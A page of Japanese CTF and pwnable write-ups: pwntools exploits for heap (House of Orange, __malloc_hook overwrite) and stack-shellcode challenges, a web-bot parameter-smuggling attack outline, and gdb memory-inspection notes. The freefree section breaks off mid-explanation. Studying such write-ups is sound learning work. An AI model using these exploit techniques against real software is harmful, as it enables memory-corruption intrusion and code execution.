投稿者: nesuke

  • 解題 pwnable – freefree

    解題 pwnable – freefree より。

    gdb (pwndbg) を使って heap を可視化。

    House of Orange での heap の状態変化を追う。

    python にて freefree を実行し gdb でアタッチする。

    from pwn import *
    
    elf = context.binary = ELF("./freefree")
    p = process(elf.path)
    gdb.attach(
        p,
        """
        set follow-fork-mode child
        break execve
        continue
    """,
    )
    
    
    def malloc(var, size):
        p.sendlineafter(b"> ", f"{var}=malloc({size})".encode())
    
    
    def gets(var, data):
        p.sendlineafter(b"> ", f"gets({var})".encode())
        p.sendline(data)
    
    
    def puts(var):
        p.sendlineafter(b"> ", f"puts({var})".encode())
        return p.recvline()[:-1]
    
    
    malloc("A", 0x10)
    input("pause 1, Enter to continue.")
    
    gets("A", b"a" * 0x18 + pack(0xD51))
    input("pause 2, Enter to continue.")
    
    malloc("B", 0xD30)
    input("pause 3, Enter to continue.")
    
    malloc("C", 0xD20)
    input("pause 4, Enter to continue.")

    1. libc_base のリーク

    方針としては House of Orange で free した旧 Top 領域を malloc で狙って割り当て、その領域の fd (unsorted bin) を読み込むことで libc_base をリークする。

    まずは chunk A を確保。# malloc(“A”, 0x10)

    最初の Size 0x290 の領域は tcache とのこと。全体で 0x21000 が確保されている。

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa000
    Size: 0x290 (with flag bits: 0x291)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa290
    Size: 0x20 (with flag bits: 0x21)
    
    Top chunk | PREV_INUSE
    Addr: 0x583afdcaa2b0
    Size: 0x20d50 (with flag bits: 0x20d51)

    bof により後続の top の size を上書き修正。# gets(“A”, b”a” * 0x18 + pack(0xD51))

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa000
    Size: 0x290 (with flag bits: 0x291)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa290
    Size: 0x20 (with flag bits: 0x21)
    
    Top chunk | PREV_INUSE
    Addr: 0x583afdcaa2b0
    Size: 0xd50 (with flag bits: 0xd51)

    その状態で chunk B (size: 0xD40) を確保。# malloc(“B”, 0xD30)

    Top chunk が unsortedbin に入った。

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa000
    Size: 0x290 (with flag bits: 0x291)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa290
    Size: 0x20 (with flag bits: 0x21)
    
    Free chunk (unsortedbin) | PREV_INUSE
    Addr: 0x583afdcaa2b0
    Size: 0xd30 (with flag bits: 0xd31)
    fd: 0x7060a781ace0
    bk: 0x7060a781ace0
    
    Allocated chunk
    Addr: 0x583afdcaafe0
    Size: 0x10 (with flag bits: 0x10)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaaff0
    Size: 0x10 (with flag bits: 0x11)
    
    Allocated chunk
    Addr: 0x583afdcab000
    Size: 0x00 (with flag bits: 0x00)

    B はどこに行ったかというとこちら。オフセットでいうと +0x21000 の位置。

    pwndbg> x/8x 0x583afdccb000
    0x583afdccb000: 0x00000000      0x00000000      0x00000d41      0x00000000
    0x583afdccb010: 0x00000000      0x00000000      0x00000000      0x00000000

    さらに chunk C (size: 0xD30) を確保。# malloc(“C”, 0xD20)

    旧 Top chunk を確保

    pwndbg> heap
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa000
    Size: 0x290 (with flag bits: 0x291)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa290
    Size: 0x20 (with flag bits: 0x21)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaa2b0
    Size: 0xd30 (with flag bits: 0xd31)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaafe0
    Size: 0x10 (with flag bits: 0x11)
    
    Allocated chunk | PREV_INUSE
    Addr: 0x583afdcaaff0
    Size: 0x10 (with flag bits: 0x11)
    
    Allocated chunk
    Addr: 0x583afdcab000
    Size: 0x00 (with flag bits: 0x00)

    chunk C はもともと unsorted bins に繋がれていたため、fd: 0x7060a781ace0 が記録されている。これは main_arena から +0x60 の位置になっているため、libc-2.31 の先頭から main_arena へのオフセットが 0x1ebb80 であることを踏まえ、libc_base は以下となる。

    unsort = unpack(puts('C').ljust(8, b'\0'))
    libc_base = unsort - (0x1ebb80 + 0x60)

    2. malloc_hook への one_gadget 書き込み

    次に malloc_hook に libc-2.31 の one_gadget (0xe6aee) を書き込むことを考える。

    方針としては、新たに chunk D を獲得し、その後続領域を House of Orange で free し tcache へ格納させ、さらにその後続領域の fd に該当する部分に malloc_hook のアドレスを書き込む。

    そしてその後続領域を malloc で chunk F として確保すると tcache の fd が malloc_hook になるのでそれを chunk G として確保し one_gadget を書き込む。

    まずは chunk D と chunk E を獲得し、その後続領域を House of Orange で tcache に格納させる。なお、glibc 2.28 以降の tcache 個数チェックを回避するため tcache が 2 つ要る。

    gets("B", b"b" * 0xD38 + pack(0x2C1))
    malloc("D", 0xD30)
    gets("D", b"d" * 0xD38 + pack(0x2C1))
    malloc("E", 0x2A0)

    chunk D の後続領域 (のちの F である) に malloc_hook のアドレスを書き込む。なお、fenceposts 0x20 分を考え、サイズは 2A0 にする。

    libc = ELF("libc-2.31.so")
    libc.address = libc_base
    gets("D", b"d" * 0xD38 + pack(0x2A1) + pack(libc.symbols.__malloc_hook))

    chunk F として chunk D の後続領域を確保し、続けて chunk G として malloc_hook の実行領域を確保。

    malloc("F", 0x290)
    malloc("G", 0x290)

    malloc_hook 実行領域に one_gadget を書き込む。

    one_gadget = libc_base + 0xE6AEE
    print(f"one_gadget: {hex(one_gadget)}")
    gets("G", pack(one_gadget))

    3. 仕上げ

    最後に引っ掛かりポイントがある。libc 2.31 の one_gadget 0xe6aee には実行条件として r12 == NULL がある。

    $ one_gadget libc-2.31.so
    0xe6aee execve("/bin/sh", r15, r12)
    constraints:
      [r15] == NULL || r15 == NULL || r15 is a valid argv
      [r12] == NULL || r12 == NULL || r12 is a valid envp

    ghidra で確認すると CALL variable と CALL malloc の間がこんな処理になっている。

            00001358 e8 d7 fe        CALL       variable                                         undefined variable()
                     ff ff
            0000135d 41 89 c4        MOV        R12D,EAX
            00001360 48 89 df        MOV        RDI,RBX
            00001363 e8 28 fd        CALL       <EXTERNAL>::malloc                               void * malloc(size_t __size)
                     ff ff

    CALL variable の結果が RAX (EAX) に入り、それが R12D に格納されているので、variable の return 値が 0 になっていればよい。ソースコードから variable 関数の処理内容を確認し、以下である必要があることがわかる。

    malloc("A", 0x10)
  • picoCTF – handoff

    picoCTF – handoff より。

    gdb (pwndbg) を使ってスタックを可視化。

    1 => (name) test1

    2 => (msg) abcdefghijklmn

    3 => (feedback) aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhh

    と入力するとスタックは以下のようになった。

    pwndbg> stack -f
    00:0000│ rsp         0x7fffffffd9a0 ◂— 0
    01:0008│-2e8         0x7fffffffd9a8 ◂— 0xffffffff00000000
    02:0010│-2e0         0x7fffffffd9b0 ◂— 0xa3174736574 /* 'test1\n' */
    03:0018│-2d8         0x7fffffffd9b8 ◂— 'abcdefghijklmn\n'
    04:0020│-2d0         0x7fffffffd9c0 ◂— 0xa6e6d6c6b6a69 /* 'ijklmn\n' */
    05:0028│-2c8         0x7fffffffd9c8 ◂— 0
    ... ↓                71 skipped
    4d:0268│-088         0x7fffffffdc08 —▸ 0x7ffff7f985c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
    4e:0270│-080         0x7fffffffdc10 ◂— 0
    4f:0278│-078         0x7fffffffdc18 —▸ 0x7ffff7e3ceaa (_IO_default_setbuf+58) ◂— cmp eax, -1
    50:0280│-070         0x7fffffffdc20 ◂— 0
    51:0288│-068         0x7fffffffdc28 —▸ 0x7ffff7f985c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
    52:0290│-060         0x7fffffffdc30 —▸ 0x7ffff7f95fd0 (_IO_file_jumps) ◂— 0
    53:0298│-058         0x7fffffffdc38 ◂— 0
    54:02a0│-050         0x7fffffffdc40 —▸ 0x7ffff7dad740 ◂— 0x7ffff7dad740
    55:02a8│-048         0x7fffffffdc48 —▸ 0x7ffff7e3a659 (_IO_file_setbuf+9) ◂— test rax, rax
    56:02b0│-040         0x7fffffffdc50 —▸ 0x7ffff7f985c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
    57:02b8│-038         0x7fffffffdc58 —▸ 0x7ffff7e30e70 (setvbuf+288) ◂— cmp rax, 1
    58:02c0│-030         0x7fffffffdc60 ◂— 0
    ... ↓                2 skipped
    5b:02d8│-018         0x7fffffffdc78 —▸ 0x7fffffffddb8 —▸ 0x7fffffffe150 ◂— '/home/kali/WORK/ctf/picoctf/handoff/handoff'
    5c:02e0│ rax-4 rcx-4 0x7fffffffdc80 ◂— 0x61616161ffffdca0
    5d:02e8│-008         0x7fffffffdc88 ◂— 0x6262626200616161 /* 'aaa' */
    5e:02f0│ rbp         0x7fffffffdc90 ◂— 'bbbbccccccccddddddd'
    5f:02f8│+008         0x7fffffffdc98 ◂— 'ccccddddddd'
    

    feedback の入力で main へのリターンアドレスまでは上書きできるが、全部で 31 bytes しか書き込めないことがわかる (ccccddddddd で終わってる)。

    checksec で確認すると Stack Executable となっているので、スタック内変数に実行コードを書き込むことを考える。

    まず msg は 64 bytes あるので攻撃コードはここに置けそう。

    feedback では簡易な 10 bytes のコードを配置しつつ、main へのリターンアドレスを jmp RAX のあるアドレスに書き換える。これは、fgets 関数で feedback を書き込んだ直後なので RAX には feedback のアドレスが入っているため。

    んで feedback の簡易な 10 bytes のコードとは、RSP を 0x2e8 で差し引き、jmp RSP を行うものである。RSP を 0x2e8 で差し引くと msg の先頭アドレスになるので、そこに配置した攻撃コードを呼び出す。

    0x2e8 は上記の可視化したスタックから算出できる。

    可視化したのは leave する前だが、RSP を差し引くのは leave + ret した後なので、そこで見える msg のアドレス (RBP – 0x2d8) から 0x10 をさらに差し引く。(leave により RSP は RBP より 0x8 上がり、RBP は vuls の冒頭に push した RBP の値に戻る。続く ret により RSP はさらに 0x8 上がる。)

    jmp RAX の命令があるアドレスの確認

    $ rp-lin -f handoff | grep "jmp rax"
    0x40116c: jmp rax ; (1 found)
    ~~~

    前準備

    from pwn import *
    elf = context.binary = ELF("handoff")
    p = process(elf.path)
    # p = remote("example.com", 56789)

    攻撃コード作成

    payload1 = asm(shellcraft.sh())

    ヘルパーコード作成

    10 bytes のコード作成 + 適当な 10 bytes + jmp RAX の命令があるアドレス

    # context.arch = 'amd64'
    payload2 = asm("nop;sub rsp, 0x2e0;jmp rsp") + b"a" * 10 + p64(0x40116C)

    攻撃

    p.sendlineafter(rb"3. Exit the app", b"1")
    p.sendlineafter(rb"name:", b"abc")
    p.sendlineafter(rb"3. Exit the app", b"2")
    p.sendlineafter(rb"message to?", b"0")
    p.sendlineafter(rb"send them?", payload1)
    p.sendlineafter(rb"3. Exit the app", b"3")
    p.sendlineafter(rb"appreciate it:", payload2)
    
    p.interactive()
  • picoCTF – msfroggenerator2

    picoCTF – msfroggenerator2 より。

    教訓

    • サーバ構成と通信の流れを把握する
    • bot を見たらこいつを操作することを考える

    構成と通信の流れ

    docker-compose.yml を見ると4つのコンテナが起動していて、OpenResty が通信を受け付ける窓口になっていることがわかる。

    OpenResty は Nginx + LuaJIT がベースになっており、Lua で柔軟な制御が可能になっている。今回は url 変数を Lua でセットしている。

    OpenResty の web.conf を見ると Nginx と同じ構造になっていて、/api/ については Host ヘッダを api に、/report については Host ヘッダを bot に付け替えている。

    proxy_pass を見るとどちらも traefik へルーティングしているが Host ヘッダにより負荷分散しているのが traefik の web.yml から見て取れる。

    api の web.js を見るとサイトを動かしているときには観測できなかった GET /api/reports/get と POST /api/reports/add の API がある。

    bot の web.js を見るとクエリーパラメータ url を受け取って bot.js に渡して起動しているように見える。

    bot.js は page.goto(url) で page.screenshot() をとって png を base64 にエンコードして /api/reports/add へ POST で送信している。

    /api/reports/add はそれを受け取ってメモリ上の reports 配列に情報を格納している。/api/reports/get でその reports を取得可能。

    bot.js ではそのコンテナ内に持っている /flag.txt を読み込んでBearer トークンとして使っている。

    攻略の概要

    bot.js の page.goto(url) に javascript:~ で javascript のコードを動かし、POST /api/reports/add に対し body を {screenshot: flag} にして投げ込み、その後 GET /api/reports/get で flag をとる。

    攻撃のポイント

    OpenResty では /report?id=XXX というアクセスに対し、Lua で “http://openresty:8080/?id=XXX” という $url 変数を作り、proxy_pass として “http://traefik:8080/?url=http://openresty:8080/?id=XXX” というアクセスにリバースプロキシする。

    /report?id=XXX&url=YYY と渡すと OpenResty で url はそぎ落とされてしまう (id だけ $url に渡るので) が、ここで /report?id=XXX;url=YYY と渡すと OpenResty としては XXX;url=YYY までを id として認識し、それが trafiek まで届く。

    trafiek は ; を & に変換するため、(Host ヘッダも bot に変換するため)

    https://github.com/traefik/traefik/issues/9164

    bot には url=http://openresty:8080/?id=XXX&url=YYY が渡り、URL.searchParams の仕様により後ろの url が利用される。

    攻撃コード

    以下動画を参照。

  • picoCTF – FactCheck

    picoCTF – FactCheck より。

    allocator (malloc/free 等に頼らない高レベルのメモリ管理) を使って heap 内の変数にフラグを構築している。

    途中でコンストラクタで破棄されるので、main の最後まで行って確認しようとしても見えない。

    よく探すと ghidra で最後の “}” を繋げる CALL が確認できるので、GDB でその直後まで行き、そこで heap 領域から読み取ればよい。

    heap 領域の探し方は、最後の CALL 直後の RAX を参照するか、find で探す。

    まずは直後の heap 領域までいく。

    • ghidra の decompile を見て、GDB 上の対応するブレークポイントを確認する。ghidra では main の始まりのアドレスが 0x00101289 に対し GDB では 0x555555555289 であった。ghidra の “}” 連結の CALL は 0x00101860 だったので GDB では 0x555555555860 となる。
    • break 0x555555555860 (あるいは break *main + 1495)
    • run

    解法① : RAX の参照

    • x/8x $rax
    • x/s 0x55555556aed0

    解法② : find で探す

    • info proc mappings で heap 領域を確認
    • find 0x555555559000,0x555555557a00-1,char[4]”pico”
    • x/s 0x55555556aed0

  • picoCTF – GDB baby step

    picoCTF – GDB baby step # より。

    main 関数の最後に rax レジスタの値がどうなっているかを確認する問題。

    • disassemble main: main 関数のアドレスとアセンブラを表示
    • break *main + 59: main 関数の最後である 59 bytes 先のアドレスにブレークポイントを設ける
    • info registers: レジスタの値を表示
    • search test1: 文字列 test1 の場所を探す
    • find 0x401106,0x401120-1,0x2262c96b: メモリアドレス範囲 [0x401106 – 0x401120] の範囲で 0x2262c96b という値が含まれるアドレスを検索する
      ※ 半開区間ではなく閉区間のため第二引数は -1 する
      ※ 文字を検索するときは第三引数を {char[4]}”pico” とする
  • birdcage の gdb 調査

    解題 pwnable 第 6 章より。

    gdb を使って heap 領域を中心にメモリの中身を見る。

    • start: いいところでブレークしてくれる。run だとブレークポイントの設定が必要。
    • stepi: step in. 関数の中にも入る。
    • nexti: next. 関数の中には入らない。
    • Ctrl+C: プログラムをいったん止める。continue で再開。
    • info proc mappings: メモリ割り当て状態を俯瞰。
    • x/21000x 0x606000: 0x606000 から 0x21000 分のメモリの中身を表示する。
    • info variables ^cage$: グローバル変数のうち、正規表現 “^cage$” にヒットするものを表示する。

    まずはプログラムを動かす。

    $ gdb -q birdcage
    Reading symbols from birdcage...
    (No debugging symbols found in birdcage)
    (gdb) start
    Temporary breakpoint 1 at 0x402321
    Starting program: /home/ubuntu/kaidai-pwnable/birdcage/birdcage
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    
    Temporary breakpoint 1, 0x0000000000402321 in main ()
    (gdb) s
    Single stepping until exit from function main,
    which has no line number information.
    Birdcage
      capture <index> cock|owl|parrot
      sing <index>
      release <index>
      list
      exit
    > capture 0 parrot
    Talk to: parrot1
    > capture 1 parrot
    Talk to: parrot2
    > ^C
    Program received signal SIGINT, Interrupt.
    0x00007ffff7914852 in __GI___libc_read (fd=0, buf=0x7ffff7a1ab23 <_IO_2_1_stdin_+131>, nbytes=1) at ../sysdeps/unix/sysv/linux/read.c:26
    26      ../sysdeps/unix/sysv/linux/read.c: No such file or directory.

    次にメモリの中身を見ていく。

    (gdb) info proc mappings
    process 11259
    Mapped address spaces:
    
              Start Addr           End Addr       Size     Offset  Perms  objfile
                0x400000           0x405000     0x5000        0x0  r-xp   /home/ubuntu/kaidai-pwnable/birdcage/birdcage
                0x604000           0x605000     0x1000     0x4000  r--p   /home/ubuntu/kaidai-pwnable/birdcage/birdcage
                0x605000           0x606000     0x1000     0x5000  rw-p   /home/ubuntu/kaidai-pwnable/birdcage/birdcage
                0x606000           0x627000    0x21000        0x0  rw-p   [heap]
          0x7ffff7800000     0x7ffff7828000    0x28000        0x0  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
    
    ~~~
    
    (gdb) x/21000x 0x606000
    
    ~~~
    
    0x617ea0:       0x00000000      0x00000000      0x00000031      0x00000000
    0x617eb0:       0x00604d08      0x00000000      0x00617ec8      0x00000000
    0x617ec0:       0x00000000      0x00000000      0x72726170      0x0031746f
    0x617ed0:       0x00000000      0x00000000      0x00000031      0x00000000
    0x617ee0:       0x00604d08      0x00000000      0x00617ef8      0x00000000
    0x617ef0:       0x00000000      0x00000000      0x72726170      0x0032746f
    0x617f00:       0x00000000      0x00000000      0x0000f101      0x00000000
    
    ~~~
    
    (gdb) info variables ^cage$
    All variables matching regular expression "^cage$":
    
    Non-debugging symbols:
    0x0000000000605380  cage
    (gdb) x/8x 0x605380
    0x605380 <cage>:        0x00617eb0      0x00000000      0x00617ee0      0x00000000
    0x605390 <cage+16>:     0x00000000      0x00000000      0x00000000      0x00000000

    chunk size が 0x31、sing の vtable のアドレスが 0x00604d08 であることがわかる。

    0x72726170 0x0031746f は parrot1 を示す。